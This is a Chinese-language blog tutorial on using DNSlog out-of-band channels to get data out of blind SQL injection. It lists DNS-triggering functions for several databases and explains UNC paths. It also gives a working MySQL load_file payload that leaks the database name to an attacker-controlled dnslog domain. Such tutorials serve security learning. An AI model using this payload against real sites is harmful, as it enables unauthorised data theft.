SQL注入之利用DNSlog外带盲注回显

0x00 SQL盲注

当我们发现一个站点存在一个没有数据回显的注入点进行注入时,只能采取盲注,这种注入速度非常慢,需要一个一个字符猜解,而且很容易被网站BANIP,虽然也可以使用代理IP池,但是还是需要一种快速有效的方法来获取数据。

此时我们就可以利用DNSlog来快速的获取数据,当然我们也可以在无回显的命令执行或者无回显的SSRF中利用。


0x01 DNSlog利用条件

  1. DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC
  2. Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据

前人总结不同DBMS中使用的方法:

Microsoft SQL Server

master…xp_dirtree (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)

master…xp_fileexist (用于确定一个特定的文件是否存在于硬盘)

master…xp_subdirs (用于得到给定的文件夹内的文件夹列表)

Oracle

GET_HOST_ADDRES (用于检索特定主机的IP)

UTL_HTTP.REQUEST (从给定的地址检索到的第1-2000字节的数据)

Mysql

load_file (读取文件内容并将其作为字符串返回)

PostgreSQL

COPY (用于在文件系统的文件和表之间拷贝数据)


0x02 UNC

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径

格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename


0x03 DNSlog平台

  • http://www.dnslog.cn
  • http://ceye.io

也可以自己手动搭建,工具地址:https://github.com/bugscanteam/dnslog/


0x04 盲注测试

自己的DNSlog域名为g5ucgd.dnslog.cn

这里利用自己的websec平台来完成的测试,那这里要注意一点,由于我平台使用的是MySQL,要用到load_file()函数的,它需要当前数据库用户有读权限,并且需要设置secure_file_priv
在这里插入图片描述
前端没有回显,只输出了语句,此时直接去看平台。
在这里插入图片描述
前面的数字,即为hex(database())
在这里插入图片描述
验证后为正确回显。

payload如下

admin" union select load_file(concat('\\\\',(select hex(database())),'.g5ucgd.dnslog.cn\\test'))#
  • \\\\转义后即为\\
  • select hex(database())为需要的查询语句,用hex()是因为构造UNC时不能有特殊符号,转化一下更好用。
  • .g5ucgd.dnslog.cn\\test转义后就变成了.g5ucgd.dnslog.cn\test,后面的test只是资源名字,随便起。

拼接起来后就成了\\bvwa.g5ucgd.dnslog.cn\test完全符合UNC的路径标准,解析后在DNSlog平台就能看到数据了。

注意啦,虽然使用hex()可以解决UNC特殊字符的问题,但是UNC的长度也不能超过128,所以自行看情况使用hex()啦。
在这里插入图片描述
比如上图中的root@localhost不用hex()就无法外带的。


0x05 结束

好几天没学习了,心里那个苦阿,学习使人快乐!

发布了265 篇原创文章 · 获赞 266 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/u014029795/article/details/105214129